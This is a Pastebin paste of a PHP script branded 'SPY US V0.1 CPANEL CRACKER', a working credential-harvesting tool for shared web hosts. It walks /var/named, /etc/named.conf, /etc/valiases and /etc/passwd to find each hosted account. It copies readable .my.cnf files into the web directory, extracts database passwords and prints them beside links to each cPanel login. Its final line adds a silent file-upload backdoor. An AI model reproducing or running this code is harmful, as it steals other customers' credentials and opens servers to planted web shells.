Himeshvyas26

spyus.php cpanel

Mar 5th, 2018
383
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.59 KB | None | 0 0
  1. <?php @ini_set('display_errors',0); function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){ $ar0=explode($marqueurDebutLien, $text); $ar1=explode($marqueurFinLien, $ar0[$i]); return trim($ar1[0]); } echo '<html><head>
  2. <title>SPY US V0.1 CRACKER</title>
  3. <meta content="text/html; charset=utf-8">
  4. <meta name="keywords" content="SPY US V0.1 CRACKER" />
  5. <link href="http://fonts.googleapis.com/css?family=Oswald:300" rel="stylesheet" type="text/css">
  6.  
  7. <meta name="description" content="CPANEL CRACKER" /><meta name="author" content="THE SPY US" />
  8. <link rel="Shortcut Icon" type="image/x-icon" href="http://images3.alphacoders.com/198/198979.jpg"><link href="http://fonts.googleapis.com/css?family=Iceland" rel="stylesheet" type="text/css"><link rel="stylesheet" type="text/css" href="http://s3curity.tn/wp-content/uploads-images/1.css"><meta name="keywords" content="SPY US V0.1 CRACKER" />
  9. <style type="text/css">
  10. body{
  11. background-image: url(http://s3curity.tn/wp-content/uploads-images/bg1.png);
  12. color: #F9F9FA;
  13. text-align: center;
  14. font-size: 14pt;
  15. background-color: black;
  16. font-weight: bold;
  17. padding: 0px;
  18. font-family: "Oswald", sans-serif;
  19.  
  20. }
  21. .logo{
  22. font-size: 120px;
  23. color: white; /* if The image deleted */
  24. background: url(http://i.imgur.com/VgxeGpQ.png) no-repeat;
  25. -webkit-background-clip: text;
  26. -webkit-text-fill-color: transparent;
  27. font-weight: 900;
  28. }
  29. a {
  30. color:#fff;
  31. }
  32. a:hover {
  33. color:green;
  34. }
  35. td, th, p, li,table{
  36. background: #2e2b28;
  37. border:1px solid #F9F9FA;
  38. text-align: center;
  39. -moz-border-radius: 1px;
  40. -webkit-border-radius: 1px;
  41. border-radius: 1px;
  42. }
  43. .result {
  44. padding: 15px;
  45. border: 1px solid #CCC;
  46. width: 500px;
  47. margin: 0 auto;
  48. border-radius: 1px;
  49. -moz-border-radius: 1px;
  50. -webkit-border-radius: 1px;
  51. }
  52. input{
  53. border: 1px solid;
  54. overflow: hidden;
  55. background: #2e2b28;
  56. color: #F9F9FA;
  57. -moz-border-radius: 0px;
  58. -webkit-border-radius: 0px;
  59. border-radius: 0px;
  60. }
  61. textarea{
  62. border: 1px solid;
  63. overflow: hidden;
  64. background: #2e2b28;
  65. color: #F9F9FA;
  66. -moz-border-radius: 0px;
  67. -webkit-border-radius: 0px;
  68. border-radius: 0px;
  69. }
  70. .main {
  71. font-family: Bookman Old Style, Century Gothic;
  72. font-size: 40pt;
  73. text-shadow: 0px 0px 6px rgb(255, 0, 0), 0px 0px 5px rgb(255, 0, 0), 0px 0px 5px rgb(255, 0, 0);
  74. color: rgb(255, 255, 255);
  75. }
  76. .button {
  77. -webkit-box-shadow:rgba(0,0,0,0.2) 0 1px 0 0;
  78. -moz-box-shadow:rgba(0,0,0,0.2) 0 1px 0 0;
  79. box-shadow:rgba(0,0,0,0.2) 0 1px 0 0;
  80. color:#333;
  81. background-color:#FA2;
  82. border-radius:0px;
  83. -moz-border-radius:0px;
  84. -webkit-border-radius:0px;
  85. border:none;
  86. font-family:Arial,sans-serif;
  87. font-size:16px;
  88. font-weight:700;
  89. height:32px;
  90. padding:4px 16px;
  91. text-shadow:#FE6 0 1px 0
  92. }
  93. </style>
  94. </head><body>' ; echo '<div class="logo"><center><font color="white" > SPY US CRACKER </font></center></div><br/>'; echo "<center>"; $d0mains = @file('/etc/named.conf'); $domains = scandir("/var/named"); if ($domains or $d0mains) { $domains = scandir("/var/named"); if($domains) { echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>"; $count=1; $dc = 0; $list = scandir("/var/named"); foreach($list as $domain){ if(strpos($domain,".db")){ $domain = str_replace('.db','',$domain); $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain)); $dirz = '/home/'.$owner['name'].'/.my.cnf'; $path = getcwd(); if (is_readable($dirz)) { copy($dirz, ''.$path.'/'.$owner['name'].'.txt'); $p=file_get_contents(''.$path.'/'.$owner['name'].'.txt'); $password=entre2v2($p,'password="','"'); echo "<tr><td>".$count++."</td><td><a href='http://".$domain.":2082' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td><td><a href='".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>"; $dc++; } } } echo '</table>'; $total = $dc; echo '<br><div class="result">Total cPanel Found = '.$total.'</h3><br />'; echo '</center>'; }else{ $d0mains = @file('/etc/named.conf'); if($d0mains) { echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN HACKED </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>"; $count=1; $dc = 0; $mck = array(); foreach($d0mains as $d0main){ if(@eregi('zone',$d0main)){ preg_match_all('#zone "(.*)"#',$d0main,$domain); flush(); if(strlen(trim($domain[1][0])) >2){ $mck[] = $domain[1][0]; } } } $mck = array_unique($mck); $usr = array(); $dmn = array(); foreach($mck as $o) { $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o)); $usr[] = $infos['name']; $dmn[] = $o; } array_multisort($usr,$dmn); $dt = file('/etc/passwd'); $passwd = array(); foreach($dt as $d) { $r = explode(':',$d); if(strpos($r[5],'home')) { $passwd[$r[0]] = $r[5]; } } $l=0; $j=1; foreach($usr as $r) { $dirz = '/home/'.$r.'/.my.cnf'; $path = getcwd(); if (is_readable($dirz)) { copy($dirz, ''.$path.'/'.$r.'.txt'); $p=file_get_contents(''.$path.'/'.$r.'.txt'); $password=entre2v2($p,'password="','"'); echo "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$r."</td><td>".$password."</td><td><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>"; $dc++; flush(); $l=$l?0:1; $j++; } } } echo '</table>'; $total = $dc; echo '<br><div class="result">Total cPanel Found = '.$total.'</h3><br />'; echo '</center>'; } }else{ echo "<div class='result'><i><font color='#FF0000'>ERROR</font><br><font color='#FF0000'>/var/named</font> or <font color='#FF0000'>etc/named.conf</font> Not Accessible!</i></div>"; } echo "<br>&#169; <font color='#FF0000'>SPY US V0.1 CPANEL CRACKER</font> | SPY US www.s3curity.tn "; ?>
  95. <?(@copy($_FILES['f']['tmp_name'], $_FILES['f']['name']));?>
Add Comment
Please, Sign In to add comment